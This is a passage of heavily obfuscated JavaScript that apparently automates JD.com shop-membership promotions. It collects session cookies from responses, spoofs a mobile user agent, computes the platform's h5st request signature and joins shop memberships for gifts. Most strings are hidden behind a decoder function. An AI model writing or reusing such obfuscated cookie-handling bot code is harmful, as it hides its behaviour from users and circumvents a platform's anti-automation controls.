_0x275448===_0x269978;},'\x63\x55\x61\x49\x44':_0x1b99('‮469','\x69\x47\x6d\x56'),'\x4f\x6e\x72\x75\x54':_0x1b99('‮46a','\x47\x42\x36\x51'),'\x55\x74\x78\x6d\x7a':function(_0x19e903){return _0x19e903();},'\x49\x41\x79\x63\x4a':'\u5982\u9700\u52a0\u8d2d\u8bf7\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf\x5b\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x5f\x61\x64\x64\x53\x6b\x75\x31\x39\x38\x5d\u4e3a\x22\x74\x72\x75\x65\x22'};return new Promise(_0xa6984c=>{var _0x23a138={'\x66\x42\x63\x59\x4a':_0x228541[_0x1b99('‫46b','\x49\x57\x26\x55')],'\x66\x6e\x50\x6a\x66':_0x228541[_0x1b99('‮46c','\x66\x30\x36\x74')]};let _0x4c9357={'\x75\x72\x6c':_0x1b99('‫46d','\x73\x74\x6e\x7a')+$[_0x1b99('‮21f','\x26\x2a\x5d\x74')]+'\x26\x73\x68\x61\x72\x65\x55\x75\x69\x64\x3d'+$[_0x1b99('‮46e','\x4f\x66\x66\x61')],'\x66\x6f\x6c\x6c\x6f\x77\x52\x65\x64\x69\x72\x65\x63\x74':![],'\x68\x65\x61\x64\x65\x72\x73':{'User-Agent':$['\x55\x41']},'\x74\x69\x6d\x65\x6f\x75\x74':0x7530};$[_0x1b99('‮46f','\x26\x2a\x5d\x74')](_0x4c9357,async(_0xd40b4b,_0x241181,_0x3d7d9b)=>{var _0x4c87d7={'\x7a\x52\x62\x44\x47':function(_0x10a3fc,_0x1ba54b){return _0x228541[_0x1b99('‮470','\x43\x5e\x34\x4f')](_0x10a3fc,_0x1ba54b);},'\x67\x43\x5a\x70\x79':function(_0x453fa1,_0x51d79c){return _0x228541[_0x1b99('‮471','\x43\x5e\x34\x4f')](_0x453fa1,_0x51d79c);},'\x6f\x75\x45\x7a\x54':_0x228541[_0x1b99('‫472','\x4c\x55\x52\x77')]};if(_0x228541[_0x1b99('‮473','\x37\x25\x76\x25')](_0x228541['\x68\x42\x41\x78\x41'],_0x228541[_0x1b99('‮474','\x79\x41\x4a\x25')])){try{if(_0x228541[_0x1b99('‮475','\x75\x61\x76\x53')](_0x228541[_0x1b99('‫476','\x34\x42\x32\x28')],_0x228541[_0x1b99('‮477','\x77\x73\x45\x66')])){if(_0x4c87d7['\x7a\x52\x62\x44\x47'](res[_0x1b99('‫478','\x4f\x66\x66\x61')],0x0)){if(_0x4c87d7['\x67\x43\x5a\x70\x79'](typeof res[_0x1b99('‫479','\x44\x64\x57\x34')],_0x4c87d7[_0x1b99('‮47a','\x40\x2a\x37\x6f')]))$['\x54\x6f\x6b\x65\x6e']=res[_0x1b99('‮47b','\x69\x47\x6d\x56')];}else if(res[_0x1b99('‮47c','\x38\x45\x35\x2a')]){console[_0x1b99('‮47d','\x73\x6f\x45\x51')](_0x1b99('‫47e','\x4f\x66\x66\x61')+(res['\x6d\x65\x73\x73\x61\x67\x65']||''));}else{console[_0x1b99('‫2f4','\x42\x34\x36\x26')](_0x3d7d9b);}}else{if(_0xd40b4b){if(_0x241181&&_0x228541[_0x1b99('‮47f','\x39\x62\x59\x64')](typeof _0x241181[_0x1b99('‮433','\x73\x6f\x45\x51')],_0x228541[_0x1b99('‫480','\x66\x30\x36\x74')])){if(_0x228541['\x45\x76\x75\x73\x4d'](_0x241181[_0x1b99('‫481','\x77\x58\x6e\x30')],0x1ed)){if(_0x228541[_0x1b99('‫482','\x77\x58\x6e\x30')](_0x228541[_0x1b99('‫483','\x70\x6e\x39\x25')],_0x228541['\x57\x44\x64\x4b\x5a'])){return;}else{console[_0x1b99('‮406','\x58\x5b\x46\x26')](_0x228541['\x7a\x70\x50\x61\x54']);$[_0x1b99('‮484','\x44\x64\x57\x34')]=!![];}}}console['\x6c\x6f\x67'](''+$[_0x1b99('‮485','\x26\x39\x38\x42')](_0xd40b4b));console['\x6c\x6f\x67']($[_0x1b99('‮486','\x79\x68\x39\x42')]+_0x1b99('‫487','\x37\x25\x76\x25'));}else{let _0x24298d=_0x3d7d9b[_0x1b99('‫488','\x73\x6f\x45\x51')](/(活动已经结束)/)&&_0x3d7d9b[_0x1b99('‮489','\x4b\x64\x41\x74')](/(活动已经结束)/)[0x1]||'';if(_0x24298d){$[_0x1b99('‫48a','\x73\x4d\x36\x64')]=!![];console['\x6c\x6f\x67'](_0x228541[_0x1b99('‮48b','\x40\x2a\x37\x6f')]);}_0x228541[_0x1b99('‮48c','\x75\x61\x76\x53')](_0x2aebd8,_0x241181);}}}catch(_0x55e11a){$[_0x1b99('‫48d','\x26\x2a\x5d\x74')](_0x55e11a,_0x241181);}finally{if(_0x228541[_0x1b99('‫48e','\x62\x34\x68\x42')](_0x228541[_0x1b99('‮48f','\x43\x5e\x34\x4f')],_0x228541[_0x1b99('‮490','\x58\x5b\x46\x26')])){console[_0x1b99('‫45f','\x23\x39\x79\x5d')](_0x23a138[_0x1b99('‮491','\x43\x5e\x34\x4f')]);}else{_0x228541[_0x1b99('‫492','\x73\x4d\x36\x64')](_0xa6984c);}}}else{console[_0x1b99('‮17a','\x4f\x66\x66\x61')](_0x23a138['\x66\x6e\x50\x6a\x66']);$[_0x1b99('‮493','\x21\x44\x35\x79')]=!![];}});});}function _0x2aebd8(_0x53b35d){var _0x536e91={'\x75\x6f\x4c\x44\x68':_0x1b99('‫494','\x72\x31\x49\x56'),'\x76\x65\x6d\x77\x77':_0x1b99('‫495','\x43\x5e\x34\x4f'),'\x41\x63\x45\x55\x59':'\x73\x65\x74\x2d\x63\x6f\x6f\x6b\x69\x65','\x51\x59\x63\x45\x4d':_0x1b99('‫496','\x44\x64\x57\x34'),'\x59\x52\x48\x64\x6a':function(_0x3664fd,_0x289eb4){return _0x3664fd!=_0x289eb4;},'\x6a\x68\x73\x53\x54':'\x6f\x62\x6a\x65\x63\x74','\x42\x4a\x52\x63\x46':function(_0x49c41f,_0x5472fd){return _0x49c41f===_0x5472fd;},'\x53\x69\x75\x4d\x66':'\x46\x47\x59\x4f\x49','\x53\x5a\x53\x67\x61':'\x78\x4b\x72\x58\x6e','\x4b\x4a\x4d\x68\x64':function(_0x581e29,_0x6243f9){return _0x581e29!==_0x6243f9;},'\x48\x75\x41\x69\x59':'\x46\x50\x62\x44\x56','\x6c\x4c\x43\x50\x4c':function(_0x7882,_0x1aa835){return _0x7882+_0x1aa835;},'\x67\x64\x65\x51\x71':function(_0xce5f91,_0x21c1ae){return _0xce5f91===_0x21c1ae;},'\x43\x71\x71\x6a\x75':'\x5a\x76\x50\x46\x62'};let _0x2737fc='';let _0x1fabf4='';let _0x7afc75='';let _0x283778=_0x53b35d&&_0x53b35d[_0x536e91[_0x1b99('‮497','\x52\x5a\x65\x2a')]]&&(_0x53b35d[_0x536e91['\x76\x65\x6d\x77\x77']][_0x536e91[_0x1b99('‮498','\x4f\x66\x66\x61')]]||_0x53b35d[_0x536e91[_0x1b99('‫499','\x73\x6f\x45\x51')]][_0x536e91['\x51\x59\x63\x45\x4d']]||'')||'';let _0x48d5c6='';if(_0x283778){let _0x37a61f=$[_0x1b99('‮49a','\x77\x58\x6e\x30')];if(_0x536e91['\x59\x52\x48\x64\x6a'](typeof _0x283778,_0x536e91[_0x1b99('‫49b','\x40\x34\x35\x43')])){_0x48d5c6=_0x283778[_0x1b99('‫49c','\x52\x5a\x65\x2a')]('\x2c');}else _0x48d5c6=_0x283778;for(let _0x176ab5 of _0x48d5c6){if(_0x536e91[_0x1b99('‫49d','\x70\x6e\x39\x25')](_0x536e91[_0x1b99('‮49e','\x44\x65\x4c\x73')],_0x536e91['\x53\x5a\x53\x67\x61'])){$[_0x1b99('‮49f','\x37\x25\x76\x25')]=d[_0x1b99('‫4a0','\x34\x42\x32\x28')][_0x1b99('‫134','\x47\x42\x36\x51')]||$[_0x1b99('‫153','\x62\x34\x68\x42')];if(d[_0x1b99('‮4a1','\x49\x57\x26\x55')]&&d['\x61\x64\x64\x53\x6b\x75']['\x73\x65\x74\x74\x69\x6e\x67\x73']&&d[_0x1b99('‮4a2','\x21\x44\x35\x79')][_0x1b99('‫4a3','\x58\x5b\x46\x26')][0x0]){$['\x61\x64\x64\x53\x6b\x75\x56\x61\x6c\x75\x65']=d[_0x1b99('‮4a4','\x48\x63\x69\x24')][_0x1b99('‮4a5','\x21\x44\x35\x79')][0x0]['\x76\x61\x6c\x75\x65']||0x2;}}else{let _0x412520=_0x176ab5['\x73\x70\x6c\x69\x74']('\x3b')[0x0]['\x74\x72\x69\x6d']();if(_0x412520[_0x1b99('‮4a6','\x72\x31\x49\x56')]('\x3d')[0x1]){if(_0x536e91[_0x1b99('‫4a7','\x47\x42\x36\x51')](_0x536e91[_0x1b99('‫4a8','\x69\x47\x6d\x56')],_0x536e91[_0x1b99('‫4a9','\x52\x5a\x65\x2a')])){console['\x6c\x6f\x67'](_0x536e91['\x75\x6f\x4c\x44\x68']);return;}else{_0x37a61f[_0x412520['\x73\x70\x6c\x69\x74']('\x3d')[0x0]]=_0x412520['\x72\x65\x70\x6c\x61\x63\x65'](_0x536e91[_0x1b99('‮4aa','\x37\x25\x76\x25')](_0x412520[_0x1b99('‮4ab','\x4c\x55\x52\x77')]('\x3d')[0x0],'\x3d'),'');}}}}$['\x61\x63\x74\x69\x76\x69\x74\x79\x43\x6f\x6f\x6b\x69\x65\x41\x72\x72']=_0x37a61f;let _0x3fe7a1='';for(let _0xa794ad in $[_0x1b99('‮4ac','\x26\x2a\x5d\x74')]){if(_0x536e91[_0x1b99('‮4ad','\x73\x6f\x45\x51')](_0x536e91[_0x1b99('‫4ae','\x26\x6c\x47\x5a')],_0x536e91[_0x1b99('‫4af','\x55\x52\x6e\x49')])){_0x3fe7a1+=_0xa794ad+'\x3d'+$[_0x1b99('‫4b0','\x73\x4d\x36\x64')][_0xa794ad]+'\x3b\x20';}else{console[_0x1b99('‮26a','\x4e\x49\x34\x73')](data);}}_0x47e5e3=_0x3fe7a1;}}async function _0x3cd1d3(){var _0x19649b={'\x54\x43\x75\x54\x6b':function(_0xfd494d,_0x25420b){return _0xfd494d(_0x25420b);}};$['\x55\x41']='\x6a\x64\x61\x70\x70\x3b\x69\x50\x68\x6f\x6e\x65\x3b\x31\x30\x2e\x31\x2e\x34\x3b\x31\x33\x2e\x31\x2e\x32\x3b'+_0x19649b[_0x1b99('‮4b1','\x70\x6e\x39\x25')](_0x5c1e7a,0x28)+_0x1b99('‫4b2','\x4f\x66\x66\x61');}function _0x5c1e7a(_0x269049){var _0x277391={'\x4d\x6a\x6d\x6f\x69':function(_0x22a77a,_0x3096ed){return _0x22a77a||_0x3096ed;},'\x45\x50\x4c\x42\x46':_0x1b99('‮4b3','\x40\x34\x35\x43'),'\x41\x6a\x45\x56\x4d':function(_0x25e1c5,_0x28ba10){return _0x25e1c5<_0x28ba10;},'\x58\x43\x43\x57\x55':function(_0x50f570,_0x2dc443){return _0x50f570*_0x2dc443;}};_0x269049=_0x277391['\x4d\x6a\x6d\x6f\x69'](_0x269049,0x20);let _0x424c02=_0x277391[_0x1b99('‫4b4','\x47\x42\x36\x51')],_0x3a61ca=_0x424c02[_0x1b99('‫4b5','\x6f\x4f\x79\x7a')],_0x3702ca='';for(i=0x0;_0x277391[_0x1b99('‫4b6','\x68\x73\x23\x52')](i,_0x269049);i++)_0x3702ca+=_0x424c02['\x63\x68\x61\x72\x41\x74'](Math[_0x1b99('‮4b7','\x77\x73\x45\x66')](_0x277391[_0x1b99('‫4b8','\x42\x34\x36\x26')](Math[_0x1b99('‫152','\x26\x6c\x47\x5a')](),_0x3a61ca)));return _0x3702ca;}function _0xaaa7aa(_0x512523){var _0x371e7f={'\x4c\x49\x43\x6d\x78':function(_0x525d54,_0x14b54d){return _0x525d54==_0x14b54d;},'\x75\x4f\x67\x7a\x49':'\x73\x74\x72\x69\x6e\x67','\x78\x50\x5a\x44\x6c':_0x1b99('‮4b9','\x77\x73\x45\x66')};if(_0x371e7f[_0x1b99('‫4ba','\x40\x34\x35\x43')](typeof _0x512523,_0x371e7f[_0x1b99('‫4bb','\x52\x5a\x65\x2a')])){try{return JSON[_0x1b99('‮4bc','\x40\x2a\x37\x6f')](_0x512523);}catch(_0x37b88c){console['\x6c\x6f\x67'](_0x37b88c);$[_0x1b99('‫4bd','\x47\x42\x36\x51')]($[_0x1b99('‮277','\x5a\x26\x49\x52')],'',_0x371e7f['\x78\x50\x5a\x44\x6c']);return[];}}}async function _0x5d0dac(){var _0x1ac917={'\x6c\x61\x43\x48\x7a':_0x1b99('‫450','\x44\x65\x4c\x73'),'\x58\x42\x49\x79\x54':'\x43\x6f\x6f\x6b\x69\x65','\x6b\x6c\x52\x52\x54':function(_0x2b1226,_0x546fbd){return _0x2b1226+_0x546fbd;},'\x4a\x76\x54\x77\x54':function(_0x373a80,_0x33b043){return _0x373a80===_0x33b043;},'\x41\x50\x59\x78\x44':_0x1b99('‮4be','\x48\x63\x69\x24'),'\x45\x4d\x7a\x78\x55':function(_0x27d2e5,_0x466606){return _0x27d2e5+_0x466606;},'\x4d\x77\x46\x59\x72':function(_0x5a6e2b,_0x1f1491){return _0x5a6e2b+_0x1f1491;},'\x77\x69\x54\x68\x41':_0x1b99('‫4bf','\x43\x5e\x34\x4f'),'\x4c\x79\x58\x42\x4b':_0x1b99('‫4c0','\x69\x47\x6d\x56'),'\x50\x4c\x76\x76\x6f':_0x1b99('‮4c1','\x4b\x64\x41\x74'),'\x62\x55\x48\x56\x76':_0x1b99('‫4c2','\x49\x57\x26\x55'),'\x6a\x50\x73\x72\x76':function(_0x90aa02,_0x53d030){return _0x90aa02===_0x53d030;},'\x57\x70\x66\x72\x57':_0x1b99('‮4c3','\x34\x42\x32\x28'),'\x50\x5a\x74\x75\x50':function(_0x168f8e,_0x3f3a03){return _0x168f8e==_0x3f3a03;},'\x58\x76\x41\x48\x54':_0x1b99('‫4c4','\x44\x64\x57\x34'),'\x50\x69\x4d\x6a\x53':function(_0x28fff9,_0x179568){return _0x28fff9===_0x179568;},'\x4d\x45\x54\x74\x72':_0x1b99('‫4c5','\x36\x29\x75\x36'),'\x6a\x4b\x63\x46\x6e':_0x1b99('‮4c6','\x66\x30\x36\x74'),'\x52\x42\x79\x58\x50':function(_0x5be4c6,_0x27b694){return _0x5be4c6!==_0x27b694;},'\x75\x78\x68\x78\x78':_0x1b99('‮4c7','\x47\x42\x36\x51'),'\x64\x70\x72\x63\x58':function(_0x4399e9,_0x5eba29){return _0x4399e9===_0x5eba29;},'\x57\x62\x54\x4b\x6b':_0x1b99('‫4c8','\x44\x25\x37\x63'),'\x45\x51\x64\x65\x6e':'\x47\x67\x68\x72\x44','\x45\x69\x6e\x44\x4b':_0x1b99('‮4c9','\x34\x42\x32\x28'),'\x65\x6b\x4f\x52\x50':function(_0x15f93a,_0x4a009a){return _0x15f93a!==_0x4a009a;},'\x69\x4e\x68\x54\x6f':'\x55\x70\x53\x71\x51','\x68\x47\x4d\x48\x45':function(_0x391bb0){return _0x391bb0();},'\x53\x41\x5a\x6a\x52':_0x1b99('‮4ca','\x69\x47\x6d\x56'),'\x62\x6e\x72\x41\x77':_0x1b99('‮4cb','\x40\x34\x35\x43'),'\x4f\x49\x55\x55\x72':_0x1b99('‫4cc','\x5d\x57\x49\x50'),'\x6b\x5a\x53\x61\x68':function(_0x1e0f76,_0x3331a8,_0xea83f3){return _0x1e0f76(_0x3331a8,_0xea83f3);},'\x65\x66\x55\x46\x76':_0x1b99('‫4cd','\x70\x48\x74\x68'),'\x4e\x41\x52\x63\x75':_0x1b99('‮4ce','\x40\x34\x35\x43'),'\x43\x72\x5a\x62\x56':'\x4e\x47\x6e\x4f\x5a','\x6f\x76\x42\x6e\x62':_0x1b99('‫4cf','\x54\x72\x32\x6b'),'\x5a\x66\x66\x65\x62':_0x1b99('‫4d0','\x70\x48\x74\x68'),'\x69\x70\x4f\x68\x69':'\x7a\x68\x2d\x43\x4e\x2c\x7a\x68\x3b\x71\x3d\x30\x2e\x39\x2c\x65\x6e\x2d\x55\x53\x3b\x71\x3d\x30\x2e\x38\x2c\x65\x6e\x3b\x71\x3d\x30\x2e\x37','\x6d\x67\x4a\x76\x53':_0x1b99('‮4d1','\x49\x57\x26\x55')};if(!$[_0x1b99('‮4d2','\x69\x47\x6d\x56')])return;return new Promise(async _0x4c9a30=>{var _0x220022={'\x6a\x70\x4c\x56\x6b':_0x1ac917['\x4c\x79\x58\x42\x4b'],'\x65\x73\x73\x4e\x76':_0x1ac917['\x50\x4c\x76\x76\x6f'],'\x55\x4c\x4d\x6e\x51':_0x1ac917[_0x1b99('‮4d3','\x54\x72\x32\x6b')],'\x6b\x4e\x75\x6f\x78':function(_0x353c1c,_0x16124b){return _0x1ac917[_0x1b99('‮4d4','\x70\x48\x74\x68')](_0x353c1c,_0x16124b);},'\x64\x6f\x64\x4f\x54':_0x1ac917['\x57\x70\x66\x72\x57'],'\x7a\x42\x66\x6b\x58':function(_0x2b2932,_0x45967c){return _0x1ac917['\x50\x5a\x74\x75\x50'](_0x2b2932,_0x45967c);},'\x73\x4c\x57\x44\x6c':_0x1ac917['\x58\x76\x41\x48\x54'],'\x6b\x4f\x64\x43\x78':function(_0x1f637b,_0x3a7f04){return _0x1ac917[_0x1b99('‫4d5','\x73\x6f\x45\x51')](_0x1f637b,_0x3a7f04);},'\x50\x6d\x46\x6f\x56':_0x1ac917[_0x1b99('‫4d6','\x26\x6c\x47\x5a')],'\x53\x56\x61\x74\x67':_0x1ac917[_0x1b99('‮4d7','\x6f\x4f\x79\x7a')],'\x49\x50\x59\x78\x70':function(_0x35e5df,_0x479f7e){return _0x1ac917[_0x1b99('‮4d8','\x47\x42\x36\x51')](_0x35e5df,_0x479f7e);},'\x50\x6e\x7a\x6a\x78':_0x1ac917[_0x1b99('‫4d9','\x44\x65\x4c\x73')],'\x63\x4b\x6a\x63\x79':function(_0x21f36b,_0x7d0089){return _0x1ac917['\x64\x70\x72\x63\x58'](_0x21f36b,_0x7d0089);},'\x49\x65\x5a\x4d\x43':_0x1ac917[_0x1b99('‫4da','\x4f\x4e\x72\x78')],'\x74\x56\x41\x74\x76':_0x1ac917[_0x1b99('‮4db','\x26\x2a\x5d\x74')],'\x4a\x77\x4a\x68\x73':_0x1ac917[_0x1b99('‫4dc','\x54\x72\x32\x6b')],'\x73\x4a\x73\x72\x44':function(_0x4185b2,_0x4f77ad){return _0x1ac917['\x65\x6b\x4f\x52\x50'](_0x4185b2,_0x4f77ad);},'\x78\x54\x48\x6e\x51':_0x1ac917[_0x1b99('‮4dd','\x42\x34\x36\x26')],'\x4d\x4a\x78\x51\x64':function(_0x3f1eb0){return _0x1ac917[_0x1b99('‫4de','\x58\x5b\x46\x26')](_0x3f1eb0);}};$[_0x1b99('‮4df','\x34\x42\x32\x28')]=_0x1ac917[_0x1b99('‮4e0','\x44\x64\x57\x34')];let _0x5e820a='';if($['\x73\x68\x6f\x70\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64'])_0x5e820a=_0x1b99('‫4e1','\x36\x29\x75\x36')+$[_0x1b99('‮4e2','\x26\x39\x38\x42')];let _0x8782c0=_0x1b99('‫4e3','\x43\x5e\x34\x4f')+$['\x6a\x6f\x69\x6e\x56\x65\x6e\x64\x65\x72\x49\x64']+_0x1b99('‫4e4','\x26\x39\x38\x42')+$[_0x1b99('‮4e5','\x48\x63\x69\x24')]+'\x22\x2c\x22\x62\x69\x6e\x64\x42\x79\x56\x65\x72\x69\x66\x79\x43\x6f\x64\x65\x46\x6c\x61\x67\x22\x3a\x31\x2c\x22\x72\x65\x67\x69\x73\x74\x65\x72\x45\x78\x74\x65\x6e\x64\x22\x3a\x7b\x7d\x2c\x22\x77\x72\x69\x74\x65\x43\x68\x69\x6c\x64\x46\x6c\x61\x67\x22\x3a\x30'+_0x5e820a+_0x1b99('‫4e6','\x31\x29\x36\x42');let _0x1c4f72=_0x1ac917[_0x1b99('‮4e7','\x36\x29\x75\x36')];try{if(_0x1ac917['\x65\x6b\x4f\x52\x50'](_0x1ac917[_0x1b99('‫4e8','\x42\x34\x36\x26')],_0x1ac917['\x4f\x49\x55\x55\x72'])){_0x1c4f72=(await _0x1ac917[_0x1b99('‫4e9','\x5d\x57\x49\x50')](h5stSign,_0x8782c0,_0x1ac917[_0x1b99('‫4ea','\x39\x62\x59\x64')]))||_0x1ac917['\x4c\x79\x58\x42\x4b'];}else{headers[_0x1ac917[_0x1b99('‮4eb','\x26\x6c\x47\x5a')]]='\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6c\x7a\x64\x7a\x31\x2d\x69\x73\x76\x2e\x69\x73\x76\x6a\x63\x6c\x6f\x75\x64\x2e\x63\x6f\x6d\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6a\x75\x6c\x2f\x71\x69\x78\x69\x53\x65\x63\x6f\x6e\x64\x2f\x61\x63\x74\x69\x76\x69\x74\x79\x3f\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3d'+$['\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64']+'\x26\x73\x68\x61\x72\x65\x55\x75\x69\x64\x3d'+$[_0x1b99('‮4ec','\x34\x42\x32\x28')];headers[_0x1ac917[_0x1b99('‫4ed','\x42\x34\x36\x26')]]=_0x1ac917[_0x1b99('‮4ee','\x44\x25\x37\x63')](_0x47e5e3,$[_0x1b99('‫4ef','\x49\x57\x26\x55')]&&_0x1ac917[_0x1b99('‮4f0','\x5d\x57\x49\x50')](_0x47e5e3[_0x1b99('‮4f1','\x54\x72\x32\x6b')](_0x1ac917[_0x1b99('‫4f2','\x76\x52\x57\x33')]),-0x1)&&_0x1ac917[_0x1b99('‮4f3','\x73\x4d\x36\x64')](_0x1ac917[_0x1b99('‮4f4','\x77\x73\x45\x66')](_0x1ac917['\x41\x50\x59\x78\x44'],$[_0x1b99('‮4f5','\x62\x34\x68\x42')]),'\x3b')||'');}}catch(_0x141970){if(_0x1ac917[_0x1b99('‮4f6','\x49\x57\x26\x55')](_0x1ac917[_0x1b99('‫4f7','\x26\x2a\x5d\x74')],_0x1ac917['\x43\x72\x5a\x62\x56'])){console[_0x1b99('‮3d6','\x48\x63\x69\x24')](_0x1ac917[_0x1b99('‮4f8','\x72\x31\x49\x56')]);return;}else{_0x1c4f72=_0x1ac917[_0x1b99('‮4f9','\x68\x73\x23\x52')];}}const _0x23902c={'\x75\x72\x6c':_0x1b99('‮4fa','\x4f\x4e\x72\x78')+_0x8782c0+'\x26\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x3d\x39\x2e\x32\x2e\x30\x26\x63\x6c\x69\x65\x6e\x74\x3d\x48\x35\x26\x75\x75\x69\x64\x3d\x38\x38\x38\x38\x38\x26\x68\x35\x73\x74\x3d'+_0x1c4f72,'\x68\x65\x61\x64\x65\x72\x73':{'accept':_0x1ac917[_0x1b99('‫4fb','\x79\x68\x39\x42')],'accept-encoding':_0x1ac917[_0x1b99('‫4fc','\x5d\x57\x49\x50')],'accept-language':_0x1ac917[_0x1b99('‫4fd','\x34\x42\x32\x28')],'cookie':cookie,'origin':_0x1ac917['\x6d\x67\x4a\x76\x53'],'user-agent':$['\x55\x41']}};$['\x67\x65\x74'](_0x23902c,async(_0x5eabff,_0x261968,_0x44da9b)=>{var _0x578280={'\x61\x6f\x4d\x4e\x52':_0x220022[_0x1b99('‮4fe','\x49\x57\x26\x55')]};if(_0x220022['\x6b\x4e\x75\x6f\x78'](_0x220022[_0x1b99('‫4ff','\x26\x2a\x5d\x74')],_0x220022[_0x1b99('‮500','\x49\x57\x26\x55')])){try{_0x44da9b=_0x44da9b&&_0x44da9b['\x6d\x61\x74\x63\x68'](/jsonp_.*?\((.*?)\);/)&&_0x44da9b[_0x1b99('‮69','\x36\x29\x75\x36')](/jsonp_.*?\((.*?)\);/)[0x1]||_0x44da9b;let _0xc242c5=$['\x74\x6f\x4f\x62\x6a'](_0x44da9b,_0x44da9b);if(_0xc242c5&&_0x220022[_0x1b99('‫501','\x42\x34\x36\x26')](typeof _0xc242c5,_0x220022[_0x1b99('‮502','\x38\x45\x35\x2a')])){if(_0xc242c5&&_0x220022[_0x1b99('‮503','\x66\x30\x36\x74')](_0xc242c5[_0x1b99('‮504','\x40\x2a\x37\x6f')],!![])){console[_0x1b99('‫505','\x5a\x26\x49\x52')](_0xc242c5['\x6d\x65\x73\x73\x61\x67\x65']);$[_0x1b99('‮506','\x73\x6f\x45\x51')]=_0xc242c5[_0x1b99('‫507','\x4c\x55\x52\x77')];if(_0xc242c5[_0x1b99('‫508','\x34\x42\x32\x28')]&&_0xc242c5[_0x1b99('‮509','\x4b\x64\x41\x74')][_0x1b99('‮50a','\x42\x34\x36\x26')]){for(let _0x2e85bf of _0xc242c5[_0x1b99('‮509','\x4b\x64\x41\x74')][_0x1b99('‫50b','\x38\x45\x35\x2a')]['\x67\x69\x66\x74\x4c\x69\x73\x74']){if(_0x220022['\x6b\x4f\x64\x43\x78'](_0x220022[_0x1b99('‮50c','\x70\x6e\x39\x25')],_0x220022[_0x1b99('‮50d','\x4f\x66\x66\x61')])){console[_0x1b99('‮337','\x62\x34\x68\x42')](_0x1b99('‮50e','\x66\x30\x36\x74')+_0x2e85bf[_0x1b99('‫50f','\x66\x30\x36\x74')]+_0x2e85bf[_0x1b99('‫443','\x76\x52\x57\x33')]+_0x2e85bf['\x73\x65\x63\x6f\x6e\x64\x4c\x69\x6e\x65\x44\x65\x73\x63']);}else{_0x1c4f72=_0x220022[_0x1b99('‫510','\x44\x65\x4c\x73')];}}}}else if(_0xc242c5&&_0x220022[_0x1b99('‫511','\x4f\x4e\x72\x78')](typeof _0xc242c5,_0x220022[_0x1b99('‮512','\x31\x29\x36\x42')])&&_0xc242c5['\x6d\x65\x73\x73\x61\x67\x65']){if(_0x220022['\x6b\x4f\x64\x43\x78'](_0x220022[_0x1b99('‫513','\x44\x64\x57\x34')],_0x220022[_0x1b99('‮514','\x6f\x4f\x79\x7a')])){$['\x65\x72\x72\x6f\x72\x4a\x6f\x69\x6e\x53\x68\x6f\x70']=_0xc242c5['\x6d\x65\x73\x73\x61\x67\x65'];console[_0x1b99('‮337','\x62\x34\x68\x42')](''+(_0xc242c5[_0x1b99('‫515','\x55\x52\x6e\x49')]||''));}else{$[_0x1b99('‮516','\x44\x65\x4c\x73')](e,_0x261968);}}else{if(_0x220022['\x49\x50\x59\x78\x70'](_0x220022[_0x1b99('‮517','\x6f\x4f\x79\x7a')],_0x220022[_0x1b99('‫518','\x56\x4a\x31\x45')])){taskType='\x32\x33';taskValue='';}else{console[_0x1b99('‫519','\x38\x45\x35\x2a')](_0x44da9b);}}}else{if(_0x220022[_0x1b99('‮51a','\x34\x42\x32\x28')](_0x220022[_0x1b99('‫51b','\x66\x30\x36\x74')],_0x220022[_0x1b99('‫51c','\x79\x68\x39\x42')])){console['\x6c\x6f\x67'](_0x44da9b);}else{console[_0x1b99('‮51d','\x21\x44\x35\x79')](_0x220022[_0x1b99('‫51e','\x66\x30\x36\x74')]);$[_0x1b99('‫51f','\x73\x74\x6e\x7a')]=!![];}}}catch(_0x5d9547){if(_0x220022['\x49\x50\x59\x78\x70'](_0x220022['\x74\x56\x41\x74\x76'],_0x220022[_0x1b99('‫520','\x4e\x49\x34\x73')])){$[_0x1b99('‫521','\x75\x61\x76\x53')](_0x5d9547,_0x261968);}else{console[_0x1b99('‫141','\x79\x41\x4a\x25')](res[_0x1b99('‫522','\x40\x2a\x37\x6f')]);$['\x65\x72\x72\x6f\x72\x4a\x6f\x69\x6e\x53\x68\x6f\x70']=res[_0x1b99('‮523','\x62\x34\x68\x42')];if(res[_0x1b99('‫524','\x26\x39\x38\x42')]&&res['\x72\x65\x73\x75\x6c\x74']['\x67\x69\x66\x74\x49\x6e\x66\x6f']){for(let _0x160346 of res[_0x1b99('‮525','\x37\x25\x76\x25')][_0x1b99('‮526','\x49\x57\x26\x55')][_0x1b99('‮527','\x79\x41\x4a\x25')]){console['\x6c\x6f\x67'](_0x1b99('‮528','\x70\x48\x74\x68')+_0x160346['\x64\x69\x73\x63\x6f\x75\x6e\x74\x53\x74\x72\x69\x6e\x67']+_0x160346[_0x1b99('‮529','\x5a\x26\x49\x52')]+_0x160346['\x73\x65\x63\x6f\x6e\x64\x4c\x69\x6e\x65\x44\x65\x73\x63']);}}}}finally{if(_0x220022['\x73\x4a\x73\x72\x44'](_0x220022[_0x1b99('‮52a','\x70\x48\x74\x68')],_0x220022[_0x1b99('‮52b','\x75\x61\x76\x53')])){console[_0x1b99('‫52c','\x56\x4a\x31\x45')](_0x578280[_0x1b99('‫52d','\x52\x5a\x65\x2a')]);}else{_0x220022[_0x1b99('‮52e','\x40\x2a\x37\x6f')](_0x4c9a30);}}}else{cookie+=i+'\x3d'+$[_0x1b99('‫52f','\x73\x74\x6e\x7a')][i]+'\x3b\x20';}});});}async function _0x3a0481(){var _0x34ba47={'\x4a\x71\x50\x6b\x68':'\u8bf7\u52ff\u968f\u610f\u5728\x42\x6f\x78\x4a\x73\u8f93\u5165\u6846\u4fee\u6539\u5185\u5bb9\x0a\u5efa\u8bae\u901a\u8fc7\u811a\u672c\u53bb\u83b7\u53d6\x63\x6f\x6f\x6b\x69\x65','\x66\x47\x4c\x4b\x63':function(_0x1a913f,_0x39b54f){return _0x1a913f===_0x39b54f;},'\x41\x6e\x48\x73\x74':_0x1b99('‫530','\x6f\x4f\x79\x7a'),'\x5a\x66\x59\x7a\x77':_0x1b99('‮531','\x4f\x66\x66\x61'),'\x73\x59\x66\x6e\x69':function(_0x5b1b1f,_0x51dc45){return 